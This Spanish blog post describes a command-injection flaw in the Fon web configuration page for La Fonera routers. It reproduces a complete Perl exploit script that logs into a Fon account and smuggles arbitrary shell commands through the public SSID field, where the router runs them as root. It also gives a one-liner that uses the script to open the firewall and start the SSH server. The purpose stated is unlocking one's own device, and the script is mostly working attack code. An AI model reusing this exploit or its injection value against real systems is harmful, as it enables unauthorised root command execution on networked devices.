Abriendo el SSH de la Fonera sin cables (por software)

Hoy, echando un vistazo al Menéame, he encontrado una noticia que lleva al blog de un alemán: Stefans Datenbruch en la que explica un método para 'inyectar código' en la fonera, aprovechándose de un fallo de seguridad del sistema.
El enlace al artículo está aqui: Hacking the La Fonera

Es curioso, que todo el sistema de seguridad de Fon, y su reticencia a impedir que el usuario jugueteé libremente con el linux de un chacharro que ha comprado ha sido echado atrás en pocos días... primero con la conexión serie, y ahora ya, por software... jejeje
Es inutil intentar poner puertas al campo, jejeje ignoro cuánta gente tiene Fon programando para ellos, pero lo que está claro es que 'al otro lado', es decir, los usuarios, somos muchos más... y lo que no se le ocurra a uno se le ocurrirá a otro... vamos, yo lo tengo muy claro :)

Breve explicación de la vulnerabilidad

El sistema descubierto por Stenafs, consiste en inyectar código en la página de Fon, ahí donde puedes definir el SSID de tus redes.
¿Para qué?, muy sencillo... cuando entramos en la Zona de Usuario de la página de Fon, y hacemos algún cambio en la configuración (SSIDs, Clave WPS o clave de la Fonera), estos datos son almacenados en el servidor de Fon y, la próxima vez que nuestra fonera se conecte a dicho servidor, lo cual ocurre cada vez que reiniciemos la fonera y, luego periodicamente cada X horas (vale, sí, ya miraré a ver cada cuánto... ahora no me apetece) la fonera interpretará estos cambios, haciendo los cambios pertinentes en su configuración.

Como bien apunté hace unos días, en el artículo Análisis preliminar de una Fonera, el sistema de configuración de la fonera a través de la página web de Fon es una... digamos porquería, dado que lo que hace es recibir un script y ejecutarlo con los máximos privilegios en tu fonera.

A simple vista es un troyano, y deja tu Fonera, por lo menos a merced de Fon, y si pensamos un poquito, cualquier hacker que consiga hacerse con el control de dicho servidor de Fon (apuesto que recibe ataques a diario, yo si fuera un hacker maligno lo haría, ahora que está tan de moda la Fonera...), pues pondrá en peligro no sólo dicho servidor de Fon... pondrá en peligro todas las foneras que se conecten a él...

Bien, aqui tenemos la primera prueba de que el sistema es una porquería... basta inyectar algo en el campo SSID de la página de fon, para que puedas hacer cambios en tu fonera... por ejemplo, liberar el SSH :)

La explicación es la siguiente: cuando la fonera se conecta al servidor de fon para decir que está viva (o al encenderse), si con anterioridad hemos cambiado el SSID desde la página de Fon, la fonera recibe un script que pasa a ejecutar.
Dicho script, una de las líneas que ejecuta es una tal que ésta:

iwconfig ath0 essid FON_'YOURPUBLICESSID'

En la que se cambia el SSID de la red pública.
Pues bien, si inyectamos en el campo del formulario algo capaz de romper esa línea de comandos, podremos ejecutar cualquier orden que queramos... por ejemplo, eliminar la restricción del firewall para poder hacer SSH en nuestra fonera.

El problema es que desde nuestro browser no podemos inyectar 'esa cosa expecial', así que debemos echar mano de un script que 'simule' a un humano enviando el formulario con dicho campo ya trucado, sin las restricciones que nos impone el browser.

Stefan, nos propone el siguiente script en Perl para hacer la inyección de código necesaria para desproteger nuestra fonera:

  
#!/usr/bin/perl
#
# shellfon.pl
#
# Shell code injector for La Fonera
#
# by Michael Kebe 
# and Stefan Tomanek 

# turn on perl's safety features
use strict;
use warnings;

use WWW::Mechanize;

sub inject($$$) {
    my ($email, $password, $code) = @_;

    # create a new browser
    my $browser = WWW::Mechanize->new();

    # tell it to get the main page
    $browser->get("http://en.fon.com/");

    # We fill in our email address and password to login
    $browser->form_number('1');
    $browser->field("email", $email);
    $browser->field("password", $password);
    $browser->click();
    $browser->success() or die "LOGIN FAILED";
    
    # Now we go the the user zone by HTTP
    #$browser->get("https://de.fon.com/userzone/user_zone.php");
    $browser->get("https://en.fon.com/userzone/user_zone.php");
    $browser->success() or die "USER ZONE HTTPS FAILED";

    #$browser->follow_link( text => "Konfiguriere Deinen FON Community Router" );
    $browser->follow_link( text => "Configure your FON Social Router" );
    $browser->success() or die "UNABLE TO ENTER ROUTER CONFIG";
    
    # Retrieve router ID
    my $id = extractID($browser->content()) || die "UNABLE TO EXTRACT ROUTER ID";

    $browser->get("https://en.fon.com/userzone/router_config.php?router_id=$id");
    $browser->success() or die "UNABLE TO RETRIEVE ROUTER CONFIG PAGE";
    
    # Now we inject our shell code by using the public ESSID
    # Those guys better should have read "man bash", you cannot escape
    # single quotes by a backslash :-)
    $browser->form_number('2');
    # We now fill in our manipulated ESSID
    # FON prepends every ' with a backslash, which is useless since 
    # this kind of escape sequence does not work within single quoted
    # strings.
    # By closing the ESSID string with our injected \' and sending a
    # newline we can now simply append aritrary shell commands that
    # will be executed on our box during the next update. The
    # comment mark # simply tells the shell to ignore the now
    # useless final '.
    my $oldessid = $browser->value("router_public_ssid");
    $browser->field("router_public_ssid","MUH\'\n\t$code\n#");
    $browser->click();
    $browser->success() or die "SUBMITTING ESSID FORM FAILED";

    $browser->follow_link( text => "Logout" );
}

sub extractID($) {
    my ($page) = @_;
    if ($page =~ /router_config\.php\?router_id=([0-9]+)'/) {
        return $1;
    }
    return undef;
}

sub readCode() {
    print STDERR "By your command...\n";
    my $code = "";
    while () {
        $code .= $_;
    }
    return $code;
}

sub processArgs() {
    # Retrieve user information from command line
    my $email = shift(@ARGV) || die "Usage: shellfon.pl EMAIL PASSWORD";
    my $password = shift(@ARGV) || die "Usage: shellfon.pl EMAIL PASSWORD";
    # Read shell code from standard input
    my $code = readCode();
    inject($email, $password, $code);
    print STDERR "Code has been injected. Now reboot your La Fonera to force an configuration update.\n"
}

processArgs();

 

Como veis, usa la versión en inglés de la página de Fon (pero no importa, puedes acceder tambien a tu cuenta) :)
El comando que tendrías que ejecutar en tu linux para desproteger el SSH de tu fonera sería algo así:

echo -e '/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT\n/etc/init.d/dropbear' | perl shellfon.pl email password

Dónde debes cambiar email por tu dirección de email (el mismo que uses para hacer login en Fon) y password por tu clave.

Una vez ejecutado, apagas tu fonera, la vuelves a encender, ella se conecta a Fon, recibe el script que incluye el SSID 'trucado' y acto seguido abrirá el firewall de la fonera para el SSH y arrancará el dropbear que es el servidor de SSh de la Fonera.

Una vez hecho eso, podrás entrar por SSH y hacer los cambios necesarios para tener SSH en tu fonera de manera definitiva (osea, añadir el dropbear en el arranque de la Fonera y añadir la regla del firewall en el fichero /etc/firewall.user).

Por supuesto, para ejecutar esto se supone que teneis un ordenador que pueda ejecutar PERL y, que disponga del módulo de Perl 'WWW::Mechanize', que es... digamos la librería que usa éste script para enviar el formulario con el campo... 'trucado'.

Como comprendereis, que éste invento funcione depende casi en excusiva de que no cambien nada en la página de Fon...
Un simple cambio que hagan en el script que procesa el formulario añadiéndole algún filtro, echaría por tierra la utilidad de este 'exploit' :)

Así que si quieres abrir el SSH de tu fonera sin usar cables... 'Date prisa!!!' jejeje